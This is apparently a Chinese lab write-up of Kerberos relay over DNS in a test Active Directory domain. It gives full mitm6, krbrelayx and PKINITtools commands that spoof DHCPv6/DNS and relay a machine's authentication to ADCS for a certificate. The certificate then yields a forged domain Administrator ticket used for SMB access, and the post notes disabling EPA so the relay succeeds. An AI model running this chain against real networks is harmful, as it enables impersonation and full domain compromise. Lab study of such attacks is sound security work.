Kerberos(5)-Kerberos中继初试
Kerberos通过DNS中继
实验操作
工具:
- mitm6 https://github.com/dirkjanm/mitm6
- krbrelayx https://github.com/dirkjanm/krbrelayx
- PKINITtools https://github.com/dirkjanm/PKINITtools
环境准备:
所遇到得问题:
krbrelayx报错:
1 | AttributeError: 'KrbRelayxConfig' object has no attribute 'setIsADCSAttack' |
需要更新impacket到最新版本。
mitm6报错:
1 | sudo python3 -m pip install -r requirements.txt |
mitm6提示无参数–host-allowlist
github直接下载master分支源码,releases中得版本没有这个功能。
中继获取证书失败:
1 | [*] DNS: Client sent authorization |
这是由于ADCS开启了EPA增强型身份保护,关闭操作如下:
在ADCS的IIS管理器中选择默认网站(提供web证书注册)–>点击身份验证–>双击打开功能–>开启Windows身份验证–>高级设置–>关闭扩展保护。
证书转TGT出现KDC不支持解密方式:
则在域控制器中修改Kerberos加密类型。
这是前期其他实验修改环境后出现的问题。
操作步骤:
mitm6
mitm6是利用Windows默认配置来接管默认的DNS服务器。他是通过回复DHCPv6消息,为目标提供IPv6地址并将攻击机设置其默认DNS服务器。
中继web006到adcs命令如下:
1 | sudo mitm6 --domain dt.com --host-allowlist web006.dt.com --relay adcs.dt.com -v |
- 目标机器web006询问LAN是否有提供DHCPv6设置的服务,包括使用那个DNS服务器。
- 这时目标机器会在LAN中找到mitm6启动的DHCPv6服务,同时mitm6会欺骗目标机器会将攻击机设为默认的DNS服务器。
- 目标机器向DNS服务器发送动态更新查询。
- 查询被mitm6拒绝,这是让目标机器提供身份验证。
- 目标机器将与KDC交互获取指定的ADCS服务的kerberos票据。
krbrelayx
krbrelayx是用于kerberos协议中继和无约束委派的工具。
krbrelayx 会将 Kerberos 身份验证转发到匹配的目标主机名,从而有效地中继身份验证。
1 | sudo python3 krbrelayx.py --target http://adcs.dt.com/certsrv/ -ip 10.10.10.111 --victim web006.dt.com --adcs --template Machine |
- 目标机器与krbrelayx建立TCP连接,并发送包含Kerberos票据的动态更新查询。
- 票据被转发到ADCS主机,导致身份验证成功并颁发证书
PKINITtools
有了证书之后,PKINITtools可以使用Kerberos进行身份验证并模拟域管理员来访问目标机器。
1 | python3 gettgtpkinit.py dt.com/web006$ -pfx-base64 $(cat 2.txt) web006.ccache -dc-ip 10.10.10.10 |
2.txt保存获取的Base64证书内容。
通过web006机器用户TGT伪造域管理员TGT
1 | python3 gets4uticket.py kerberos+ccach3://dt.com\\WEB006\$:web006.ccache@ad.dt.com cifs/web006.dt.com@dt.com Administrator@dt.com Administrator.ccache |
使用域管理员TGT通过smb访问web006
1 | KRB5CCNAME=Administrator.ccache smbclient.py -k dt.com/Administrator@web006.dt.com -no-pass |